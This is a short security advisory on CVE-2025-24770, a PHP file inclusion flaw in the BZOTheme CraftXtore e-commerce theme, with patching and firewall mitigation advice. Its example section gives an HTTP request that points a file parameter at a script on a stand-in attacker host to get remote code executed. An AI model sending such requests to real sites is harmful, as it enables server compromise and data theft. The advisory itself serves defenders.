Overview
A critical vulnerability, identified as CVE-2025-24770, has been discovered in BZOTheme CraftXtore. This vulnerability stems from the improper control of filename for Include/Require Statement in PHP Program, also known as ‘PHP Remote File Inclusion’. This vulnerability allows for PHP Local File Inclusion, posing a substantial threat to the security of systems running this software. Given that CraftXtore is widely used for e-commerce stores, the impact of this vulnerability is potentially significant, making it essential for system administrators and cybersecurity professionals to understand and address this issue promptly.
Vulnerability Summary
CVE ID: CVE-2025-24770
Severity: Critical (8.1 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage
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Product | Affected Versions
BZOTheme CraftXtore | Up to and including 1.7
How the Exploit Works
The CVE-2025-24770 vulnerability allows attackers to include files from local or external resources, leading to the execution of arbitrary code. This is possible due to the improper control of filename for Include/Require Statement in PHP Program. Essentially, an attacker can manipulate the input to these PHP functions to include a file that resides outside the intended directories, leading to the execution of malicious code.
Conceptual Example Code
Here’s a conceptual example of how the vulnerability might be exploited:
GET /index.php?file=http://attacker.com/malicious_script.txt HTTP/1.1
Host: vulnerable-website.comIn this example, the attacker has manipulated the `file` parameter value to include a malicious PHP script (`malicious_script.txt`) hosted on their server (`attacker.com`). When the server processes this request, it includes the malicious script, executing it and potentially leading to system compromise or data leakage.
Mitigation and Prevention
The most effective way to mitigate this vulnerability is by applying the vendor patch. For those unable to immediately apply the patch, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. However, these should not replace the need for patching. Regularly updating and patching software is a fundamental part of maintaining a secure IT environment.
Remember, prevention is always better than cure, especially when it comes to cybersecurity. Stay safe!